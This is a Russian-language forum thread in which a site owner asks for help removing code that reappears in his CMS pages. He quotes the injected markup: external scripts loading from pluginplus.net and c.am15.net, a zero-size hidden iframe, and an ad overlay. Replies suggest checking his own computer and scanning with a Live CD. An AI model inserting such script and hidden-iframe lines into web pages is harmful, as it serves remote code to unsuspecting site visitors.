Помогите справится с вирусом :(

Здравствуйте.
Обнаружил у себя на сайте вирус. Посторонний код появляется в коде новости когда в админке на вкладке редактирования любой страницы посмотреть ее в визуальном редакторе. Потом снова переключаюсь на HTML код страницы и под текстом статьи появляется код:

<p><script type="text/javascript" src="https://pluginplus.net/plugins/system/system_ps.js"></script></p>
<p><iframe style="width: 0px; height: 0px; border: 0px none;" src="https://pluginplus.net/statistica/statistic_li.html"></iframe></p>
<p><script type="text/javascript" src="http://c.am15.net/preloader7.js"></script></p>
<div id="advm_video"> </div>
<div>
<div id="advm_block" style="display: none;">
<div id="advm_close">Закрыть [Х]</div>
<div id="ambn17757"> </div>
<div id="advm_box">
<div>Осталось <span id="advm_timer"></span> сек.</div>
</div>
</div>
</div>

В HTML коде страницы удаляю указанный код и сохраняю страницу – кода нет. Если же переключиться снова на визуальный редактор страницы и обратно в HTML код – код вируса опять есть. Никак не могу его найти в файлах сайта… 🙁 Подскажите в каком виде он может быть и где? Заранее благодарен за помощь.

Никак не могу его найти в файлах сайта... :(

А в своем компьютере искали?

Для проверки попробуйте зайти в админку с другого компа. Если под руками второго компа нет, можно скачать какой-нибудь Live CD и загрузиться с него. Кажется, в комплекте Live CD DrWeb CureIt тоже есть браузер, а заодно и вирусы поискать – сразу двух зайцев можно убить.

Я не на компьютере искал, а на хостинге, в папке сайта. На компьютер тоже папку копировал и проганял антивирусом – ничего 🙁

Anonymous
Отправить
Ответ на: